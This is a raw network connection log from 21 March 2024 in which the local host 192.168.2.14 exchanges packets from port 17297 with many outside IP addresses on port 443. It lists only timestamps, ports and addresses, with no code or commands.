Mar 21, 2024 05:21:09.924455881 CET	17297	443	192.168.2.14	2.167.119.250
Mar 21, 2024 05:21:09.924468994 CET	17297	443	192.168.2.14	37.247.6.120
Mar 21, 2024 05:21:09.924499989 CET	17297	443	192.168.2.14	2.66.47.111
Mar 21, 2024 05:21:09.924499989 CET	17297	443	192.168.2.14	212.55.186.16
Mar 21, 2024 05:21:09.924504042 CET	17297	443	192.168.2.14	118.79.80.77
Mar 21, 2024 05:21:09.924504995 CET	443	17297	2.66.47.111	192.168.2.14
Mar 21, 2024 05:21:09.924509048 CET	443	17297	212.55.186.16	192.168.2.14
Mar 21, 2024 05:21:09.924515963 CET	17297	443	192.168.2.14	178.148.101.22
Mar 21, 2024 05:21:09.924515963 CET	443	17297	118.79.80.77	192.168.2.14
Mar 21, 2024 05:21:09.924520969 CET	17297	443	192.168.2.14	212.196.53.136
Mar 21, 2024 05:21:09.924524069 CET	443	17297	178.148.101.22	192.168.2.14
Mar 21, 2024 05:21:09.924529076 CET	443	17297	212.196.53.136	192.168.2.14
Mar 21, 2024 05:21:09.924532890 CET	17297	443	192.168.2.14	210.64.171.221
Mar 21, 2024 05:21:09.924537897 CET	443	17297	210.64.171.221	192.168.2.14
Mar 21, 2024 05:21:09.924539089 CET	17297	443	192.168.2.14	2.66.47.111
Mar 21, 2024 05:21:09.924547911 CET	17297	443	192.168.2.14	118.79.80.77
Mar 21, 2024 05:21:09.924566031 CET	17297	443	192.168.2.14	178.148.101.22
Mar 21, 2024 05:21:09.924566984 CET	17297	443	192.168.2.14	212.55.186.16
Mar 21, 2024 05:21:09.924568892 CET	17297	443	192.168.2.14	212.196.53.136
Mar 21, 2024 05:21:09.924576044 CET	17297	443	192.168.2.14	210.64.171.221
Mar 21, 2024 05:21:09.924577951 CET	17297	443	192.168.2.14	37.138.170.37
Mar 21, 2024 05:21:09.924583912 CET	443	17297	37.138.170.37	192.168.2.14
Mar 21, 2024 05:21:09.924592972 CET	17297	443	192.168.2.14	2.50.17.253
Mar 21, 2024 05:21:09.924598932 CET	443	17297	2.50.17.253	192.168.2.14
Mar 21, 2024 05:21:09.924607038 CET	17297	443	192.168.2.14	94.228.151.93
Mar 21, 2024 05:21:09.924612999 CET	443	17297	94.228.151.93	192.168.2.14
Mar 21, 2024 05:21:09.924613953 CET	17297	443	192.168.2.14	37.138.170.37
Mar 21, 2024 05:21:09.924633980 CET	17297	443	192.168.2.14	79.32.59.187
Mar 21, 2024 05:21:09.924639940 CET	443	17297	79.32.59.187	192.168.2.14
Mar 21, 2024 05:21:09.924647093 CET	17297	443	192.168.2.14	2.50.17.253
Mar 21, 2024 05:21:09.924663067 CET	17297	443	192.168.2.14	94.228.151.93
Mar 21, 2024 05:21:09.924665928 CET	17297	443	192.168.2.14	79.32.59.187
Mar 21, 2024 05:21:09.924685955 CET	17297	443	192.168.2.14	42.17.178.167
Mar 21, 2024 05:21:09.924693108 CET	443	17297	42.17.178.167	192.168.2.14
Mar 21, 2024 05:21:09.924705029 CET	17297	443	192.168.2.14	109.96.200.73
Mar 21, 2024 05:21:09.924710989 CET	443	17297	109.96.200.73	192.168.2.14
Mar 21, 2024 05:21:09.924715996 CET	17297	443	192.168.2.14	210.79.143.53
Mar 21, 2024 05:21:09.924721003 CET	443	17297	210.79.143.53	192.168.2.14
Mar 21, 2024 05:21:09.924730062 CET	17297	443	192.168.2.14	94.74.78.171
Mar 21, 2024 05:21:09.924736977 CET	443	17297	94.74.78.171	192.168.2.14
Mar 21, 2024 05:21:09.924746037 CET	17297	443	192.168.2.14	109.16.71.217
Mar 21, 2024 05:21:09.924756050 CET	17297	443	192.168.2.14	109.204.158.87
Mar 21, 2024 05:21:09.924757957 CET	443	17297	109.16.71.217	192.168.2.14
Mar 21, 2024 05:21:09.924765110 CET	443	17297	109.204.158.87	192.168.2.14
Mar 21, 2024 05:21:09.924770117 CET	17297	443	192.168.2.14	5.17.184.203
Mar 21, 2024 05:21:09.924772024 CET	17297	443	192.168.2.14	94.250.10.150
Mar 21, 2024 05:21:09.924776077 CET	443	17297	5.17.184.203	192.168.2.14
Mar 21, 2024 05:21:09.924777985 CET	443	17297	94.250.10.150	192.168.2.14
Mar 21, 2024 05:21:09.924793959 CET	17297	443	192.168.2.14	109.204.158.87
Mar 21, 2024 05:21:09.924807072 CET	17297	443	192.168.2.14	212.63.181.91
Mar 21, 2024 05:21:09.924813032 CET	443	17297	212.63.181.91	192.168.2.14
Mar 21, 2024 05:21:09.924823046 CET	17297	443	192.168.2.14	94.16.137.128
Mar 21, 2024 05:21:09.924829006 CET	443	17297	94.16.137.128	192.168.2.14
Mar 21, 2024 05:21:09.924848080 CET	17297	443	192.168.2.14	109.168.226.227
Mar 21, 2024 05:21:09.924851894 CET	17297	443	192.168.2.14	212.63.181.91
Mar 21, 2024 05:21:09.924854040 CET	443	17297	109.168.226.227	192.168.2.14
Mar 21, 2024 05:21:09.924866915 CET	17297	443	192.168.2.14	94.16.137.128
Mar 21, 2024 05:21:09.924887896 CET	17297	443	192.168.2.14	210.132.39.248
Mar 21, 2024 05:21:09.924892902 CET	443	17297	210.132.39.248	192.168.2.14
Mar 21, 2024 05:21:09.924901009 CET	17297	443	192.168.2.14	109.168.226.227
Mar 21, 2024 05:21:09.924920082 CET	37215	17319	197.6.143.33	192.168.2.14
Mar 21, 2024 05:21:09.924920082 CET	17297	443	192.168.2.14	94.71.145.194
Mar 21, 2024 05:21:09.924926043 CET	443	17297	94.71.145.194	192.168.2.14
Mar 21, 2024 05:21:09.924928904 CET	17297	443	192.168.2.14	210.132.39.248
Mar 21, 2024 05:21:09.924945116 CET	17297	443	192.168.2.14	2.63.168.60
Mar 21, 2024 05:21:09.924952030 CET	443	17297	2.63.168.60	192.168.2.14
Mar 21, 2024 05:21:09.924962997 CET	17297	443	192.168.2.14	94.71.145.194
Mar 21, 2024 05:21:09.924984932 CET	17297	443	192.168.2.14	2.63.168.60
Mar 21, 2024 05:21:09.924999952 CET	17297	443	192.168.2.14	210.154.75.117
Mar 21, 2024 05:21:09.925005913 CET	443	17297	210.154.75.117	192.168.2.14
Mar 21, 2024 05:21:09.925013065 CET	17297	443	192.168.2.14	5.109.180.189
Mar 21, 2024 05:21:09.925018072 CET	443	17297	5.109.180.189	192.168.2.14
Mar 21, 2024 05:21:09.925031900 CET	17297	443	192.168.2.14	42.191.93.242
Mar 21, 2024 05:21:09.925038099 CET	443	17297	42.191.93.242	192.168.2.14
Mar 21, 2024 05:21:09.925043106 CET	17297	443	192.168.2.14	109.7.223.222
Mar 21, 2024 05:21:09.925050020 CET	443	17297	109.7.223.222	192.168.2.14
Mar 21, 2024 05:21:09.925054073 CET	17297	443	192.168.2.14	94.74.67.121
Mar 21, 2024 05:21:09.925059080 CET	443	17297	94.74.67.121	192.168.2.14
Mar 21, 2024 05:21:09.925075054 CET	17297	443	192.168.2.14	42.191.93.242
Mar 21, 2024 05:21:09.925092936 CET	17297	443	192.168.2.14	94.74.67.121
Mar 21, 2024 05:21:09.925107956 CET	17297	443	192.168.2.14	37.40.193.69
Mar 21, 2024 05:21:09.925113916 CET	443	17297	37.40.193.69	192.168.2.14
Mar 21, 2024 05:21:09.925122023 CET	17297	443	192.168.2.14	94.13.71.165
Mar 21, 2024 05:21:09.925127029 CET	443	17297	94.13.71.165	192.168.2.14
Mar 21, 2024 05:21:09.925128937 CET	17297	443	192.168.2.14	178.111.140.148
Mar 21, 2024 05:21:09.925134897 CET	443	17297	178.111.140.148	192.168.2.14
Mar 21, 2024 05:21:09.925144911 CET	17297	443	192.168.2.14	210.41.145.97
Mar 21, 2024 05:21:09.925151110 CET	443	17297	210.41.145.97	192.168.2.14
Mar 21, 2024 05:21:09.925158024 CET	17297	443	192.168.2.14	42.248.44.101
Mar 21, 2024 05:21:09.925168991 CET	443	17297	42.248.44.101	192.168.2.14
Mar 21, 2024 05:21:09.925174952 CET	17297	443	192.168.2.14	42.236.190.74
Mar 21, 2024 05:21:09.925179958 CET	443	17297	42.236.190.74	192.168.2.14
Mar 21, 2024 05:21:09.925189018 CET	17297	443	192.168.2.14	42.17.178.167
Mar 21, 2024 05:21:09.925195932 CET	17297	443	192.168.2.14	210.41.145.97
Mar 21, 2024 05:21:09.925201893 CET	17297	443	192.168.2.14	109.96.200.73
Mar 21, 2024 05:21:09.925204992 CET	17297	443	192.168.2.14	178.79.159.140
Mar 21, 2024 05:21:09.925210953 CET	443	17297	178.79.159.140	192.168.2.14
Mar 21, 2024 05:21:09.925213099 CET	17297	443	192.168.2.14	210.113.106.248
Mar 21, 2024 05:21:09.925213099 CET	17297	443	192.168.2.14	210.79.143.53
Mar 21, 2024 05:21:09.925213099 CET	17297	443	192.168.2.14	94.74.78.171
Mar 21, 2024 05:21:09.925218105 CET	443	17297	210.113.106.248	192.168.2.14
Mar 21, 2024 05:21:09.925230026 CET	17297	443	192.168.2.14	5.17.184.203
Mar 21, 2024 05:21:09.925236940 CET	17297	443	192.168.2.14	109.16.71.217
Mar 21, 2024 05:21:09.925240040 CET	17297	443	192.168.2.14	210.154.75.117
Mar 21, 2024 05:21:09.925240040 CET	17297	443	192.168.2.14	94.250.10.150
Mar 21, 2024 05:21:09.925246000 CET	17297	443	192.168.2.14	94.19.223.154
Mar 21, 2024 05:21:09.925246000 CET	17297	443	192.168.2.14	5.109.180.189
Mar 21, 2024 05:21:09.925249100 CET	17297	443	192.168.2.14	210.113.106.248
Mar 21, 2024 05:21:09.925252914 CET	443	17297	94.19.223.154	192.168.2.14
Mar 21, 2024 05:21:09.925254107 CET	17297	443	192.168.2.14	109.7.223.222
Mar 21, 2024 05:21:09.925260067 CET	17297	443	192.168.2.14	212.239.10.32
Mar 21, 2024 05:21:09.925260067 CET	17297	443	192.168.2.14	94.13.71.165
Mar 21, 2024 05:21:09.925265074 CET	17297	443	192.168.2.14	37.40.193.69
Mar 21, 2024 05:21:09.925266981 CET	443	17297	212.239.10.32	192.168.2.14
Mar 21, 2024 05:21:09.925271034 CET	17297	443	192.168.2.14	178.111.140.148
Mar 21, 2024 05:21:09.925282955 CET	17297	443	192.168.2.14	79.98.78.255
Mar 21, 2024 05:21:09.925287962 CET	443	17297	79.98.78.255	192.168.2.14
Mar 21, 2024 05:21:09.925288916 CET	17297	443	192.168.2.14	42.248.44.101
Mar 21, 2024 05:21:09.925292969 CET	17297	443	192.168.2.14	42.236.190.74
Mar 21, 2024 05:21:09.925297976 CET	17297	443	192.168.2.14	118.115.240.8
Mar 21, 2024 05:21:09.925299883 CET	17297	443	192.168.2.14	178.79.159.140
Mar 21, 2024 05:21:09.925302982 CET	443	17297	118.115.240.8	192.168.2.14
Mar 21, 2024 05:21:09.925304890 CET	17297	443	192.168.2.14	212.239.10.32
Mar 21, 2024 05:21:09.925323009 CET	17297	443	192.168.2.14	212.197.224.65
Mar 21, 2024 05:21:09.925327063 CET	17297	443	192.168.2.14	79.98.78.255
Mar 21, 2024 05:21:09.925328016 CET	443	17297	212.197.224.65	192.168.2.14
Mar 21, 2024 05:21:09.925338030 CET	17297	443	192.168.2.14	94.19.223.154
Mar 21, 2024 05:21:09.925342083 CET	17297	443	192.168.2.14	118.115.240.8
Mar 21, 2024 05:21:09.925359964 CET	17297	443	192.168.2.14	212.197.224.65
Mar 21, 2024 05:21:09.925386906 CET	17297	443	192.168.2.14	42.66.110.8
Mar 21, 2024 05:21:09.925388098 CET	17297	443	192.168.2.14	37.212.72.233
Mar 21, 2024 05:21:09.925393105 CET	443	17297	42.66.110.8	192.168.2.14
Mar 21, 2024 05:21:09.925394058 CET	443	17297	37.212.72.233	192.168.2.14
Mar 21, 2024 05:21:09.925419092 CET	17297	443	192.168.2.14	178.12.39.135
Mar 21, 2024 05:21:09.925425053 CET	443	17297	178.12.39.135	192.168.2.14
Mar 21, 2024 05:21:09.925457001 CET	17297	443	192.168.2.14	94.115.136.166
Mar 21, 2024 05:21:09.925457001 CET	17297	443	192.168.2.14	79.135.163.226
Mar 21, 2024 05:21:09.925457954 CET	17297	443	192.168.2.14	94.184.143.29
Mar 21, 2024 05:21:09.925457954 CET	17297	443	192.168.2.14	109.172.35.134
Mar 21, 2024 05:21:09.925462961 CET	443	17297	94.115.136.166	192.168.2.14
Mar 21, 2024 05:21:09.925462961 CET	443	17297	79.135.163.226	192.168.2.14
Mar 21, 2024 05:21:09.925465107 CET	443	17297	94.184.143.29	192.168.2.14
Mar 21, 2024 05:21:09.925473928 CET	17297	443	192.168.2.14	42.196.83.151
Mar 21, 2024 05:21:09.925474882 CET	443	17297	109.172.35.134	192.168.2.14
Mar 21, 2024 05:21:09.925479889 CET	17297	443	192.168.2.14	5.191.203.254
Mar 21, 2024 05:21:09.925481081 CET	443	17297	42.196.83.151	192.168.2.14
Mar 21, 2024 05:21:09.925481081 CET	17297	443	192.168.2.14	118.147.171.233
Mar 21, 2024 05:21:09.925481081 CET	17297	443	192.168.2.14	42.66.110.8
Mar 21, 2024 05:21:09.925481081 CET	17297	443	192.168.2.14	118.214.148.43
Mar 21, 2024 05:21:09.925482988 CET	17297	443	192.168.2.14	37.212.72.233
Mar 21, 2024 05:21:09.925484896 CET	17297	443	192.168.2.14	212.145.131.192
Mar 21, 2024 05:21:09.925484896 CET	17297	443	192.168.2.14	5.165.140.58
Mar 21, 2024 05:21:09.925486088 CET	443	17297	5.191.203.254	192.168.2.14
Mar 21, 2024 05:21:09.925489902 CET	443	17297	118.147.171.233	192.168.2.14
Mar 21, 2024 05:21:09.925492048 CET	443	17297	212.145.131.192	192.168.2.14
Mar 21, 2024 05:21:09.925494909 CET	443	17297	118.214.148.43	192.168.2.14
Mar 21, 2024 05:21:09.925501108 CET	443	17297	5.165.140.58	192.168.2.14
Mar 21, 2024 05:21:09.925504923 CET	17297	443	192.168.2.14	212.147.84.56
Mar 21, 2024 05:21:09.925512075 CET	17297	443	192.168.2.14	94.24.212.135
Mar 21, 2024 05:21:09.925512075 CET	17297	443	192.168.2.14	37.131.136.142
Mar 21, 2024 05:21:09.925512075 CET	17297	443	192.168.2.14	5.200.140.48
Mar 21, 2024 05:21:09.925513029 CET	443	17297	212.147.84.56	192.168.2.14
Mar 21, 2024 05:21:09.925512075 CET	17297	443	192.168.2.14	212.54.75.30
Mar 21, 2024 05:21:09.925514936 CET	17297	443	192.168.2.14	37.160.67.14
Mar 21, 2024 05:21:09.925519943 CET	17297	443	192.168.2.14	178.12.39.135
Mar 21, 2024 05:21:09.925519943 CET	17297	443	192.168.2.14	118.99.24.175
Mar 21, 2024 05:21:09.925520897 CET	443	17297	5.200.140.48	192.168.2.14
Mar 21, 2024 05:21:09.925523043 CET	443	17297	94.24.212.135	192.168.2.14
Mar 21, 2024 05:21:09.925523996 CET	443	17297	37.160.67.14	192.168.2.14
Mar 21, 2024 05:21:09.925523996 CET	17297	443	192.168.2.14	37.250.107.54
Mar 21, 2024 05:21:09.925529003 CET	443	17297	37.250.107.54	192.168.2.14
Mar 21, 2024 05:21:09.925533056 CET	17297	443	192.168.2.14	118.0.39.100
Mar 21, 2024 05:21:09.925533056 CET	17297	443	192.168.2.14	118.214.148.43
Mar 21, 2024 05:21:09.925533056 CET	443	17297	118.99.24.175	192.168.2.14
Mar 21, 2024 05:21:09.925534010 CET	17297	443	192.168.2.14	5.191.203.254
Mar 21, 2024 05:21:09.925538063 CET	443	17297	212.54.75.30	192.168.2.14
Mar 21, 2024 05:21:09.925539017 CET	443	17297	118.0.39.100	192.168.2.14
Mar 21, 2024 05:21:09.925540924 CET	443	17297	37.131.136.142	192.168.2.14
Mar 21, 2024 05:21:09.925542116 CET	17297	443	192.168.2.14	109.172.35.134
Mar 21, 2024 05:21:09.925545931 CET	17297	443	192.168.2.14	5.205.251.236
Mar 21, 2024 05:21:09.925545931 CET	17297	443	192.168.2.14	109.177.115.121
Mar 21, 2024 05:21:09.925546885 CET	17297	443	192.168.2.14	212.145.131.192
Mar 21, 2024 05:21:09.925546885 CET	17297	443	192.168.2.14	5.165.140.58
Mar 21, 2024 05:21:09.925554991 CET	443	17297	5.205.251.236	192.168.2.14
Mar 21, 2024 05:21:09.925561905 CET	443	17297	109.177.115.121	192.168.2.14
Mar 21, 2024 05:21:09.925561905 CET	17297	443	192.168.2.14	37.160.67.14
Mar 21, 2024 05:21:09.925575972 CET	17297	443	192.168.2.14	212.54.75.30
Mar 21, 2024 05:21:09.925590992 CET	17297	443	192.168.2.14	118.0.39.100
Mar 21, 2024 05:21:09.925602913 CET	17297	443	192.168.2.14	5.205.251.236
Mar 21, 2024 05:21:09.925627947 CET	17297	443	192.168.2.14	79.151.11.91
Mar 21, 2024 05:21:09.925633907 CET	443	17297	79.151.11.91	192.168.2.14
Mar 21, 2024 05:21:09.925637007 CET	17297	443	192.168.2.14	42.144.231.230
Mar 21, 2024 05:21:09.925637007 CET	17297	443	192.168.2.14	37.83.238.201
Mar 21, 2024 05:21:09.925637960 CET	17297	443	192.168.2.14	94.241.104.249
Mar 21, 2024 05:21:09.925641060 CET	17297	443	192.168.2.14	118.37.223.117
Mar 21, 2024 05:21:09.925642967 CET	443	17297	42.144.231.230	192.168.2.14
Mar 21, 2024 05:21:09.925643921 CET	443	17297	37.83.238.201	192.168.2.14
Mar 21, 2024 05:21:09.925645113 CET	443	17297	94.241.104.249	192.168.2.14
Mar 21, 2024 05:21:09.925649881 CET	443	17297	118.37.223.117	192.168.2.14
Mar 21, 2024 05:21:09.925661087 CET	17297	443	192.168.2.14	42.138.24.37
Mar 21, 2024 05:21:09.925666094 CET	443	17297	42.138.24.37	192.168.2.14
Mar 21, 2024 05:21:09.925676107 CET	17297	443	192.168.2.14	94.241.104.249
Mar 21, 2024 05:21:09.925687075 CET	17297	443	192.168.2.14	37.83.238.201
Mar 21, 2024 05:21:09.925700903 CET	17297	443	192.168.2.14	118.37.223.117
Mar 21, 2024 05:21:09.925715923 CET	17297	443	192.168.2.14	42.13.99.230
Mar 21, 2024 05:21:09.925720930 CET	443	17297	42.13.99.230	192.168.2.14
Mar 21, 2024 05:21:09.925733089 CET	17297	443	192.168.2.14	118.59.232.201
Mar 21, 2024 05:21:09.925739050 CET	443	17297	118.59.232.201	192.168.2.14
Mar 21, 2024 05:21:09.925740004 CET	17297	443	192.168.2.14	94.86.250.140
Mar 21, 2024 05:21:09.925746918 CET	443	17297	94.86.250.140	192.168.2.14
Mar 21, 2024 05:21:09.925753117 CET	17297	443	192.168.2.14	178.9.0.58
Mar 21, 2024 05:21:09.925759077 CET	443	17297	178.9.0.58	192.168.2.14
Mar 21, 2024 05:21:09.925769091 CET	17297	443	192.168.2.14	210.194.97.121
Mar 21, 2024 05:21:09.925774097 CET	443	17297	210.194.97.121	192.168.2.14
Mar 21, 2024 05:21:09.925800085 CET	17297	443	192.168.2.14	210.245.122.38
Mar 21, 2024 05:21:09.925806999 CET	443	17297	210.245.122.38	192.168.2.14
Mar 21, 2024 05:21:09.925806999 CET	17297	443	192.168.2.14	94.86.250.140
Mar 21, 2024 05:21:09.925816059 CET	17297	443	192.168.2.14	118.222.85.235
Mar 21, 2024 05:21:09.925816059 CET	17297	443	192.168.2.14	79.135.163.226
Mar 21, 2024 05:21:09.925820112 CET	17297	443	192.168.2.14	94.115.136.166
Mar 21, 2024 05:21:09.925822020 CET	17297	443	192.168.2.14	94.184.143.29
Mar 21, 2024 05:21:09.925822973 CET	443	17297	118.222.85.235	192.168.2.14
Mar 21, 2024 05:21:09.925827980 CET	17297	443	192.168.2.14	42.196.83.151
Mar 21, 2024 05:21:09.925828934 CET	17297	443	192.168.2.14	118.147.171.233
Mar 21, 2024 05:21:09.925837040 CET	17297	443	192.168.2.14	79.130.219.112
Mar 21, 2024 05:21:09.925837040 CET	17297	443	192.168.2.14	5.200.140.48
Mar 21, 2024 05:21:09.925842047 CET	17297	443	192.168.2.14	210.245.122.38
Mar 21, 2024 05:21:09.925842047 CET	17297	443	192.168.2.14	212.147.84.56
Mar 21, 2024 05:21:09.925843000 CET	443	17297	79.130.219.112	192.168.2.14
Mar 21, 2024 05:21:09.925848007 CET	17297	443	192.168.2.14	118.99.24.175
Mar 21, 2024 05:21:09.925851107 CET	17297	443	192.168.2.14	94.24.212.135
Mar 21, 2024 05:21:09.925851107 CET	17297	443	192.168.2.14	37.131.136.142
Mar 21, 2024 05:21:09.925852060 CET	17297	443	192.168.2.14	118.110.93.58
Mar 21, 2024 05:21:09.925858021 CET	17297	443	192.168.2.14	178.148.104.218
Mar 21, 2024 05:21:09.925858021 CET	17297	443	192.168.2.14	37.250.107.54
Mar 21, 2024 05:21:09.925860882 CET	443	17297	118.110.93.58	192.168.2.14
Mar 21, 2024 05:21:09.925863028 CET	443	17297	178.148.104.218	192.168.2.14
Mar 21, 2024 05:21:09.925870895 CET	17297	443	192.168.2.14	94.208.239.183
Mar 21, 2024 05:21:09.925873041 CET	17297	443	192.168.2.14	109.177.115.121
Mar 21, 2024 05:21:09.925873995 CET	17297	443	192.168.2.14	42.144.231.230
Mar 21, 2024 05:21:09.925880909 CET	443	17297	94.208.239.183	192.168.2.14
Mar 21, 2024 05:21:09.925883055 CET	17297	443	192.168.2.14	42.138.24.37
Mar 21, 2024 05:21:09.925884962 CET	17297	443	192.168.2.14	178.77.22.61
Mar 21, 2024 05:21:09.925884962 CET	17297	443	192.168.2.14	79.151.11.91
Mar 21, 2024 05:21:09.925884962 CET	17297	443	192.168.2.14	2.247.164.5
Mar 21, 2024 05:21:09.925884962 CET	17297	443	192.168.2.14	37.98.211.9
Mar 21, 2024 05:21:09.925888062 CET	17297	443	192.168.2.14	42.13.99.230
Mar 21, 2024 05:21:09.925890923 CET	443	17297	178.77.22.61	192.168.2.14
Mar 21, 2024 05:21:09.925894976 CET	443	17297	2.247.164.5	192.168.2.14
Mar 21, 2024 05:21:09.925895929 CET	17297	443	192.168.2.14	118.110.93.58
Mar 21, 2024 05:21:09.925895929 CET	17297	443	192.168.2.14	118.59.232.201
Mar 21, 2024 05:21:09.925895929 CET	17297	443	192.168.2.14	178.9.0.58
Mar 21, 2024 05:21:09.925900936 CET	17297	443	192.168.2.14	210.194.97.121
Mar 21, 2024 05:21:09.925905943 CET	443	17297	37.98.211.9	192.168.2.14
Mar 21, 2024 05:21:09.925911903 CET	17297	443	192.168.2.14	118.222.85.235
Mar 21, 2024 05:21:09.925920010 CET	17297	443	192.168.2.14	79.130.219.112
Mar 21, 2024 05:21:09.925920963 CET	17297	443	192.168.2.14	178.77.22.61
Mar 21, 2024 05:21:09.925925970 CET	17297	443	192.168.2.14	178.148.104.218
Mar 21, 2024 05:21:09.925925970 CET	17297	443	192.168.2.14	118.121.3.221
Mar 21, 2024 05:21:09.925931931 CET	443	17297	118.121.3.221	192.168.2.14
Mar 21, 2024 05:21:09.925940990 CET	17297	443	192.168.2.14	2.247.164.5
Mar 21, 2024 05:21:09.925960064 CET	17297	443	192.168.2.14	37.98.211.9
Mar 21, 2024 05:21:09.925967932 CET	17297	443	192.168.2.14	118.121.3.221
Mar 21, 2024 05:21:09.925972939 CET	17297	443	192.168.2.14	210.171.92.38
Mar 21, 2024 05:21:09.925972939 CET	17297	443	192.168.2.14	94.208.239.183
Mar 21, 2024 05:21:09.925973892 CET	17297	443	192.168.2.14	212.62.163.53
Mar 21, 2024 05:21:09.925978899 CET	443	17297	212.62.163.53	192.168.2.14
Mar 21, 2024 05:21:09.925981998 CET	443	17297	210.171.92.38	192.168.2.14
Mar 21, 2024 05:21:09.926055908 CET	17297	443	192.168.2.14	42.85.18.27
Mar 21, 2024 05:21:09.926062107 CET	443	17297	42.85.18.27	192.168.2.14
Mar 21, 2024 05:21:09.926080942 CET	17297	443	192.168.2.14	210.111.6.192
Mar 21, 2024 05:21:09.926080942 CET	17297	443	192.168.2.14	94.147.234.35
Mar 21, 2024 05:21:09.926083088 CET	17297	443	192.168.2.14	5.244.148.160
Mar 21, 2024 05:21:09.926084042 CET	17297	443	192.168.2.14	2.239.0.191
Mar 21, 2024 05:21:09.926084042 CET	17297	443	192.168.2.14	2.40.49.177
Mar 21, 2024 05:21:09.926084042 CET	17297	443	192.168.2.14	94.31.151.140
Mar 21, 2024 05:21:09.926084995 CET	17297	443	192.168.2.14	212.72.5.129
Mar 21, 2024 05:21:09.926084042 CET	17297	443	192.168.2.14	178.109.103.8
Mar 21, 2024 05:21:09.926084995 CET	17297	443	192.168.2.14	212.62.163.53
Mar 21, 2024 05:21:09.926084042 CET	17297	443	192.168.2.14	37.116.62.167
Mar 21, 2024 05:21:09.926084995 CET	17297	443	192.168.2.14	5.61.113.227
Mar 21, 2024 05:21:09.926088095 CET	443	17297	210.111.6.192	192.168.2.14
Mar 21, 2024 05:21:09.926084995 CET	17297	443	192.168.2.14	212.93.50.13
Mar 21, 2024 05:21:09.926084995 CET	17297	443	192.168.2.14	79.129.32.6
Mar 21, 2024 05:21:09.926091909 CET	443	17297	212.72.5.129	192.168.2.14
Mar 21, 2024 05:21:09.926094055 CET	443	17297	2.239.0.191	192.168.2.14
Mar 21, 2024 05:21:09.926100969 CET	443	17297	5.244.148.160	192.168.2.14
Mar 21, 2024 05:21:09.926101923 CET	443	17297	94.147.234.35	192.168.2.14
Mar 21, 2024 05:21:09.926103115 CET	443	17297	5.61.113.227	192.168.2.14
Mar 21, 2024 05:21:09.926103115 CET	443	17297	212.93.50.13	192.168.2.14
Mar 21, 2024 05:21:09.926105976 CET	443	17297	2.40.49.177	192.168.2.14
Mar 21, 2024 05:21:09.926106930 CET	17297	443	192.168.2.14	5.214.192.244
Mar 21, 2024 05:21:09.926106930 CET	443	17297	94.31.151.140	192.168.2.14
Mar 21, 2024 05:21:09.926106930 CET	17297	443	192.168.2.14	210.171.92.38
Mar 21, 2024 05:21:09.926107883 CET	17297	443	192.168.2.14	2.104.242.74
Mar 21, 2024 05:21:09.926110029 CET	17297	443	192.168.2.14	212.152.136.98
Mar 21, 2024 05:21:09.926106930 CET	17297	443	192.168.2.14	37.116.46.114
Mar 21, 2024 05:21:09.926110029 CET	17297	443	192.168.2.14	109.245.119.123
Mar 21, 2024 05:21:09.926110029 CET	17297	443	192.168.2.14	79.251.144.68
Mar 21, 2024 05:21:09.926110029 CET	17297	443	192.168.2.14	118.157.44.100
Mar 21, 2024 05:21:09.926111937 CET	443	17297	79.129.32.6	192.168.2.14
Mar 21, 2024 05:21:09.926115990 CET	443	17297	37.116.62.167	192.168.2.14
Mar 21, 2024 05:21:09.926115990 CET	443	17297	2.104.242.74	192.168.2.14
Mar 21, 2024 05:21:09.926116943 CET	443	17297	178.109.103.8	192.168.2.14
Mar 21, 2024 05:21:09.926116943 CET	17297	443	192.168.2.14	79.64.50.215
Mar 21, 2024 05:21:09.926116943 CET	17297	443	192.168.2.14	210.83.30.252
Mar 21, 2024 05:21:09.926120043 CET	443	17297	5.214.192.244	192.168.2.14
Mar 21, 2024 05:21:09.926120043 CET	17297	443	192.168.2.14	42.85.18.27
Mar 21, 2024 05:21:09.926120996 CET	17297	443	192.168.2.14	210.144.69.178
Mar 21, 2024 05:21:09.926120996 CET	17297	443	192.168.2.14	37.64.41.11
Mar 21, 2024 05:21:09.926122904 CET	443	17297	212.152.136.98	192.168.2.14
Mar 21, 2024 05:21:09.926122904 CET	17297	443	192.168.2.14	37.170.161.175
Mar 21, 2024 05:21:09.926122904 CET	17297	443	192.168.2.14	118.211.85.13
Mar 21, 2024 05:21:09.926126003 CET	443	17297	79.64.50.215	192.168.2.14
Mar 21, 2024 05:21:09.926127911 CET	17297	443	192.168.2.14	210.247.154.3
Mar 21, 2024 05:21:09.926127911 CET	443	17297	37.116.46.114	192.168.2.14
Mar 21, 2024 05:21:09.926127911 CET	17297	443	192.168.2.14	109.105.49.85
Mar 21, 2024 05:21:09.926131010 CET	443	17297	37.170.161.175	192.168.2.14
Mar 21, 2024 05:21:09.926127911 CET	17297	443	192.168.2.14	2.86.150.228
Mar 21, 2024 05:21:09.926127911 CET	17297	443	192.168.2.14	178.80.40.127
Mar 21, 2024 05:21:09.926131010 CET	443	17297	210.144.69.178	192.168.2.14
Mar 21, 2024 05:21:09.926132917 CET	443	17297	109.245.119.123	192.168.2.14
Mar 21, 2024 05:21:09.926134109 CET	443	17297	210.83.30.252	192.168.2.14
Mar 21, 2024 05:21:09.926136017 CET	17297	443	192.168.2.14	118.239.181.31
Mar 21, 2024 05:21:09.926136017 CET	17297	443	192.168.2.14	212.219.195.18
Mar 21, 2024 05:21:09.926136017 CET	17297	443	192.168.2.14	210.175.157.137
Mar 21, 2024 05:21:09.926136017 CET	17297	443	192.168.2.14	2.156.11.218
Mar 21, 2024 05:21:09.926127911 CET	17297	443	192.168.2.14	94.107.191.65
Mar 21, 2024 05:21:09.926139116 CET	443	17297	37.64.41.11	192.168.2.14
Mar 21, 2024 05:21:09.926141024 CET	17297	443	192.168.2.14	2.35.171.176
Mar 21, 2024 05:21:09.926141024 CET	443	17297	118.211.85.13	192.168.2.14
Mar 21, 2024 05:21:09.926141024 CET	17297	443	192.168.2.14	42.226.124.33
Mar 21, 2024 05:21:09.926141977 CET	17297	443	192.168.2.14	178.29.56.49
Mar 21, 2024 05:21:09.926141977 CET	17297	443	192.168.2.14	42.30.135.208
Mar 21, 2024 05:21:09.926143885 CET	443	17297	79.251.144.68	192.168.2.14
Mar 21, 2024 05:21:09.926145077 CET	17297	443	192.168.2.14	37.98.203.121
Mar 21, 2024 05:21:09.926148891 CET	443	17297	118.157.44.100	192.168.2.14
Mar 21, 2024 05:21:09.926150084 CET	443	17297	2.35.171.176	192.168.2.14
Mar 21, 2024 05:21:09.926150084 CET	443	17297	210.247.154.3	192.168.2.14
Mar 21, 2024 05:21:09.926151991 CET	443	17297	118.239.181.31	192.168.2.14
